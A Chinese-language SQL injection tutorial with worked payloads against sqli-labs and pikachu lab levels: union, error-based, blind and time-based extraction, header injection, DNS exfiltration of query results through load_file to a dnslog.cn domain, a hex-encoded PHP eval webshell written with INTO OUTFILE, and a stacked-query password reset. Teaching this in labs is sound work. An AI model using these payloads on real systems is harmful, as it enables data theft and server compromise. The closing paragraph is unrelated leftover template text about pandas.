目录
第一章SQL注入
概念:
一、了解mysql、sqlserver、acces
信息收集
1、MySQL数据库
2、sqlserver数据库
3、access数据库
二、判断注入点
1.数字型注入
2、字符型注入
三、注入方式
1、有回显
a、联合查询
b、报错注入
1.利用floor()函数进行报错注入
2.利用extractvalue()函数进行报错注入
3、updatexml() 函数
2、无回显
a、布尔盲注
b、时间盲注
四、HTTP头部注入
产生注入的条件:
1、User-Agent
3. Referer注入
4. X-Forwarded-For 注入
五、其他注入方法
1、带外攻击
2、宽字节注入
2.1宽字节注入的原理
2.2宽字节的注入方法
2.3、宽字节的防御
3、sql注入写shell
一、into outfile
二、--os-shell
4、堆叠注入
5、二次注入
总结
sql注入:通过输入恶意的sql语句,带入到数据库执行,导致拖库、暴库。
拖库的三个步骤:暴库、爆表、爆字段
数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os
MySQL:在5.0之后的版本,MySQL增加了一个数据库:information_schema
一库三表六字段
一库:information_schema 保存具体数据库的信息,比如MySQL有哪些数据库,库里有哪些表,表里有哪些字段。
mysql:保存数据库的权限信息,比如哪个用户可以访问哪个表。
重要的就这两个数据库!
三表:information_schema下的三个表:
schemata 表:存放所有数据库信息
tables 表:存放所有表信息
columns 表:存放所有字段信息
六字段:三个表下面的六个关键字段
schemata表的 schema_name 字段:存放具体的数据库名
tables表的 table_name 字段:存放具体的表名
tables表的 table_schema 字段:存放表所在的数据库
columns表的 column_name 字段:存放具体的字段名
columns表的 table_name 字段:存放字段所在的表名
columns表的 table_schema 字段:存放字段所在的数据库名
如果是数字型注入,就看会不会执行后面的语句,执行那就说明存在数字型注入点
?id=1 and 1=1
?id=1 and 1=2
如果是字符型注入,需要先闭合,那就得判断闭合符号 ' " ) ') ")等等...
?id=1' and 1=1
?id=1 and 1=2
代码如下(示例):尝试'闭合,发现报错,说明这个闭合符干扰了正常的sql语句。把后面的符合闭合
可以通过注释符把后面的内容注释
把传参内容写到cookie里面,看看页面回显是否正常,如果正常,说明该页面是允许接收cookie的内容
针对有显示位,判断显示位!显示位有的时候显示长度有限采用函数拼接
判断注入点,上面说到的。
判断字段个数
order by x
使用联合查询:这里and 1=2 是为了让前面的不成立执行后面的select,也可以把1换成0或者-1
http://bachang.cn/sqli/Less-1/?id=1' and 1=2 union select 1,2,3 --+
爆版本、数据库类型、数据库名
http://bachang.cn/sqli/Less-1/?id=1' and 1=2 union select 1,database(),version() --+
爆表、爆字段:group_concat:用于将所有结果连接起来显示 显示不够的时候用limit也是可以的
http://bachang.cn/sqli/Less-1/?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
当输入正确的内容不显示,错误的才显示的时候这个时候就需要使用报错注入了
原理:主要报错原因为:count()+rand()+group_by()导致主键重复。
http://localhost/pikachu/vul/sqli/sqli_str.php?name=lili'union select 1,count(*) from information_schema.tables group by concat(0x7e,database(),0x7e,floor(rand(0)*2))--+&submit=æ¥è¯¢
extractvalue()函数为MYSQL对XML文档数据进行查询的XPATH函数。
语法:extractValue(xml_document, xpath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,
第二个参数:XPath_string (Xpath格式的字符串);
Xpath定位必须是有效的,否则则会发生错误;所以可以在这个位置植入表达式,做执行后报错
!注意:一次返回值最大为32位,当数据库名大于32,需要结合其他方式使用(可以使用substr());
?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+
and updatexml(1,concat('^',(需要查询的内容),'^'),1) ^可替换别的,只是concat的语法
布尔盲注,即在页面没有错误回显时完成的注入攻击。此时我们输入的语句让页面呈现出两种状态,相当于true和false,根据这两种状态可以判断我们输入的语句是否查询成功。以less-8关为例
1. 我们输入正确的id,显示You are in .....
我们输入错误的语句如id=1' ,或者id=-1时,就什么都不显示。这就是布尔盲注,屏幕上能得到信息不多,就是两种状态
所以,我们构造判断语句,根据页面是否回显证实猜想。一般用到的函数ascii() 、substr() 、length(),exists()、concat()等,具体意思百度
1、判断数据库类型
//判断是否是 Mysql数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) --+
//判断是否是 access数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) --+
//判断是否是 Sqlserver数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) --+
哪个回显正常说明就属于什么数据库
2、判断当前数据库长度
length:显示长度
1:判断当前数据库的长度,利用二分法
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5 --+ //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10 --+ //不显示任何数据
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7 --+ //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>8 --+ //不显示任何数据
大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为8个字符2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
//判断数据库的第一个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>115 --+ //100为ascii表中的十进制,对应字母s
//判断数据库的第二个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100 --+
//判断数据库的第三个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),3,1))>100 --+
...........
由此可以判断出当前数据库为 security
3. 判断当前库的表名
//猜测当前数据库中是否存在admin表
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) --+
1:判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+
2:判断每个表的长度
//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 --+
3:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
//判断第一个表的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+
.........
由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断
4. 判断表的字段
一般布尔盲注,手工去注入过于繁琐,不建议手工注入,可以借助于工具。
也叫延时注入。通过观察页面,既没有回显数据库内容,又没有报错信息也没有布尔类型状态,那么我们可以考虑用“绝招”--延时注入。延时注入就是将页面的时间线作为判断依据,一点一点注入出数据库的信息。我们以第9关为例,在id=1后面加单引号或者双引号,页面不会发生任何改变,所以我们考虑绝招延时注入。
延时注入的函数:
1、首先判断sleep函数能否使用
?id=1' and sleep(5) --+
发现页面加载了5s,说明可以用
if(expr1,expr2,expr3) 如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值
两种玩法:
if(length(database())>10,sleep(5),1)
?id=1' and if(ascii(substr(database(),1,1))= 115,sleep(5),0) --+
- 能够对请求头消息进行修改
- 修改的请求头信息能够带入数据库进行查询
- 数据库没有对输入的请求信息做过滤
User-Agent:使得服务器能够识别客户使用的操作系统,浏览器版本等。(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等然后将其存入数据库中)。这里获取User-Agent就可以知道客户都是通过什么浏览器访问系统的,然后将其值保存到数据库中。
以18关举例:
1.1 判断注入点:user-agent值后面加上',引发报错,确定存在sql注入
1.2 采用报错注入函数获取当前数据库名
' and updatexml(1,concat('^',(database()),'^'),1) and '
cookie:服务器端用来记录客户端的状态。由服务端产生,保存在浏览器中。传送门-》cookie 。以sqli-labs less-20关为例,登录后
2.1 首先判断注入点,加 ' 单引号报错
Referer:是HTTP header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。
X-Forwarded-For(XFF):用来识别客户端最原始的ip地址。详见,传送门 -》X-Forwarded-For sql注入
1.1原理:
利用了load_file这个函数,利用这个函数读取网络文件,其中的访问记录都会被记录下来
其中就用到了 dnslog.cn这个网站,通过这 个网站可以让它回显我们想要的内容
1.2前提 :
secure_file_priv没有设置,则表示没有任何限制
1.3 UNC的路径格式:
\\servername\sharename\……
servername 是服务器名,sharename 是共享资源的名称
1.4注入过程:
1、get subDomain获得域名
2、构造注入语句
(根据实际情况构造)
select load_file(concat('//',(select database()),'.casro0.dnslog.cn/abc'))
select load_file(concat('\\\\',(select database()),'.casro0.dnslog.cn\\123'))
load_file()函数访问的是文件,所以域名后面需要添加/abc
成功注入后,在数据库中运行
第三步:查看域名头部,带出了查询的信息
四、DNSlongsqlinj工具https://github.com/ADOOO/DnslogSqlinj
宽字节是一种绕过手法,当对方开启了GPC魔术函数,或者利用 \ 对字符进行转义的时候,就需要采用宽字节来达到一个绕过。
一个 \ 称为窄字节,而两个窄字节能够拼接成一个宽字节。利用这一点达到一个绕过。
我们在前面加上 %df' ,转义函数会将%df’改成%df\’ , 而\ 就是%5c ,即最后变成了%df%5c',而%df%5c在GBK中这两个字节对应着一个汉字 “運” ,就是说 \ 已经失去了作用,%df ' ,被认为運' ,成功消除了转义函数的影响。
1、黑盒
在注入点后面加上%df,然后按正常的流程注入就行了,如果在用sqlmap进行注入的时候也需要在注入点后面加上%df。
sqlmap.py -u "http://localhost/sqli-labs-master/Less-32/?id=1%df%27"
2、白盒
直接代码审计,查看mysql是否是GBK编码的格式是否开启了转义
1、mysql_real_escape_string
转义sql语句中的特殊字符
2、设置参数,character_set_slient=binary
3、使用utf-8编码
两种方法:一是利用outfile函数,二是用sqlmap的--os-shell
利用条件:
1、web目录具有写的权限
2、知道绝对路径
3、secure_file_priv没有值(在my.ini查看)
3.1、secure_file_priv
这个函数是用来限制load dumpfile、into outfile、load_file()在哪个目录下拥有上传文件的权限,在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。如下关于secure_file_priv的配置介绍
写入webshell:
以第七关为例子。
1、写入一句话木马:"" 建议直接进行16进制编码。
编码后,然后在最前面加上 0x。如下我们将一句话木马进行十六进制编码后写入了根目录下的outfile.php文件中
?id=-3')) union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile 'C:\\Users\\Administrator.WIN2012\\Desktop\\phpStudy\\WWW\\outfile.php' --+
成功写入:有的时候网站目录需要采用双斜杠不然会出现写入失败的情况。第一个/是转义的意思,有的时候为了不发生错误,所以就出现了采用 \\ 分割路径的形式。不管解析引擎是否将反斜杠解析成转义字符,最终在内存中得到的都是"\",结果也就不会出问题了。
利用连接工具连接..
原理:
--os-shell就是使用udf提权获取WebShell。也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件
这是sqlmap的功能利用这个命令的条件:
原理:在sql中,;是用来表示一条sql语句的结束。当开启了multi_query,允许多个sql语句一起执行。
以38关为例子。
用分号隔开,执行别的sql语句,例如:更改密码、创建账户....
id=1';update users set password='123456' where id=1; --+
意思就是再更新id=1的用户密码为123456。如下成功执行了更新密码
原理:二次注入仅适合于白盒测试,原因在于不知道什么时候会执行,也不知道后台的sql语句
二次注入就是由于将数据存储进数据库中时未做好过滤,先提交构造好的特殊字符请求存储进数据库,然后提交第二次请求时与第一次提交进数据库中的字符发生了作用,形成了一条新的sql语句导致被执行。以sqli-labs第24关为例
1、注册用户
这里注册用户名为 admin'#
此时我们查看数据库,注册的用户已经存储进去了,并且admin的密码是DDD
2. 对注册的账号进行登录然后修改密码为ccccc
此时我们发现反倒是admin的密码被修改成了ccccc,而我们注册的用户admin'#的密码并没有被修改
分析漏洞原因:
1、在进行用户注册的时候未对 ' 和 # 过滤
2、查看源码:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
当我们登录账号admin'#并修改密码时,这条sql语句就变成了如下这个样子,#把后面的代码都注释掉了,所以修改了用户admin的密码为ccccc
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";
提示:这里对文章进行总结:
例如:以上就是今天要讲的内容,本文仅仅简单介绍了pandas的使用,而pandas提供了大量能使我们快速便捷地处理数据的函数和方法。